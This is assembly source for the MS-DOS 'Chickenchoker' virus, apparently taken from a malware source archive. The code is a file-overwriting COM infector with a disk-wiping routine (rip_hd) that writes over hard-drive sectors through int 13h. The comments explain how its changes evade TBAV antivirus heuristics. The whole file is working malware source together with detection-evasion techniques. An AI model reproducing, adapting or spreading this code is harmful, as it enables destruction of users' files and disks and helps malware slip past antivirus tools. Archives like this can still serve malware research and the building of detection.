MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.chc.asm
2021-01-12 17:34:47 -06:00

88 lines
2.8 KiB
NASM

; Chickenchoker Virus by HDKiller
;
; Origianl Variant 127 bytes
; Fixored up Variant 132 bytes
;
;
; This is a trivial variant of a basic sort, no encryption and a nasty payload
;
; Being HDKiller's first virus it wasnt a bad start, though I wouldnt have made
; it destructive.
;
; The original version of this virus raised 2 flags in TBAV FS, one for file
; access and one for com/exe search routine. The S is defeated by changing the
; original *.com with a *.?om wich is functionally the same but will cause the
; the virus to attack .aom .bom .com etc... This makes the virus a little more
; unstable, bet hey it's trivial. The F is caused by mov ah,40h and can be
; beaten any number of ways, I used a mov ah,00h then an xor ah, 40h. Thats
; one of countless numbers of way to get 40h into ah. TBAV was keying on the
; beginning of this virus to get it's determination that it's a trivial virus.
; By adding a few lines of code you effectively loose TBAV.
;
Code Segment
Assume CS:code,DS:code
Org 100h
startvx proc near
mov ah,4eh
; mov cx,0000h ; Key point for TBAV
mov cx,0013h
lopht: ; Quick and simple loop to confuse TBAV
loop lopht ; Now that didnt take much did it ??
mov dx,offset star_com
int 21h
mov ah,3dh
mov al,02h
mov dx,9eh
int 21h
xchg bx,ax
; mov ah,40h ; Sets off the F in TBAV
xor ah,ah ; One of many methods to get 40h into
xor ah,40h ; ah. Be imaginative when you can :)
mov cx,offset endvx - offset startvx
mov dx,offset startvx
int 21h
mov ah,3eh
int 21h
int 20h
szTitleName db' Chickenchoker Virus by hdkiller has been activated'
;szTitleName db' ChChickenchchoker Virus by hdkiller | SOK-3'
rip_hd:
xor dx,dx
rip_hd1:
mov cx,2
mov ax,311h
mov dl,80h
mov bx,5000h
mov es,bx
int 13h
jae rip_hd2
xor ah,ah
int 13h
rip_hd2:
inc dh
cmp dh,4
jb rip_hd1
inc ch
jmp rip_hd
startvx endp
;star_com: db "*.com",0 ; Sets off S in TBAV
star_com: db "*.?om",0 ; Sacrifice a little stability to loose
; the S flag
endvx label near
code ends
end startvx